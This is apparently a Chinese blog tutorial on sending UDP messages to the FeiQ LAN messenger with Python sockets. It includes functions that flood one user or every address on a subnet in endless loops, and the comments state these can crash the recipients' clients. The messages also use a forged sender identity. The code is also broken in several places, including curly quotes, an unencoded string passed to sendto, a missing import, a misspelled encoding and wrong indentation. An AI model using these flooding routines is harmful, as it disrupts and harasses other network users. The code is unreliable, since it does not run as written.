如何使用UDP协议给飞秋发送消息

飞秋使用传输协议为UDP

1、向局域网内某个ip好友的飞秋发送消息
# 1.先导入模块、创建一个套接字
from socket import *
updsocket = socket(AF_INET,SOCK_DGRAM)
# 2.设置接收方的ip地址和端口
# 飞秋的端口为:2425
data = (“192.168.75.75(这里是接收方的ip)”,2425)
# 3.使用刚才创建的套接字调用sendto命令发送消息
updsocket.sendto("hahaha(这里是要发送的内容)",data)
# 需要注意的是如果发送的内容是汉字的话,要进行转换
name="哈哈哈"
updsocket.sendto(name.encode("utf-8或者gb23212"),data)


下面是面向对象编程

#指定一个人的飞秋发送一次性消息
def one_to_one():
    content=input("请输入内容:")
    msg="1:123456:user:name:32:"+content
    data=input("请输入接收方的ip地址最后两位:")
    ip="192.168.75."+data
    updsocket.sendto(msg.encode("gb2312"),(ip,2425))

#指定一个人的飞秋往死里发
def one_to_one_again():
    content=input("请输入内容:")
    msg="1:123456:user:name:32:"+content
    data=input("请输入接收方的ip地址:")
    ip="192.168.75."+data
    while True:
        updsocket.sendto(msg.encode("gb2312"),(ip,2425))

#指定局域网内所有飞秋进行发送
def one_to_all():
    content=input("请输入内容:")
    msg="1:123456:user:name:32:"+content
    for i in range(255):
        ip = "192.168.75."+ str(i)
        updsocket.sendto(msg.encode("gb2312"),(ip,2425))

#指定局域网内所有飞秋狂发,容易把对方发死机
def one_to_all_again():
    content=input("请输入内容:")
    msg="1:123456:冰冰:范-PC:32:"+content
    while True:
        for i in range(255):
            ip = "192.168.75." + str(i)
            time.sleep(10)
            updsocket.sendto(msg.encode("gb2312"),(ip,2425))

def main():
    num = int(input("请输入你想要使用的发送方式:\n(1)一对一单次发送消息\n(2)一对一多次发送消息\n(3)对局域网内所有用户单次发送消息\n(4)对局域网内所有用户多次发送消息\n:"))
    if num == 1:
        one_to_one()
    elif num == 2:
        one_to_one_again()
    elif num == 3:
        one_to_all()
    elif num == 4:
        one_to_all_again()
    else:
        print("输入错误")

if __name__ == "__main__":
main()



你可能感兴趣的:(网络编程)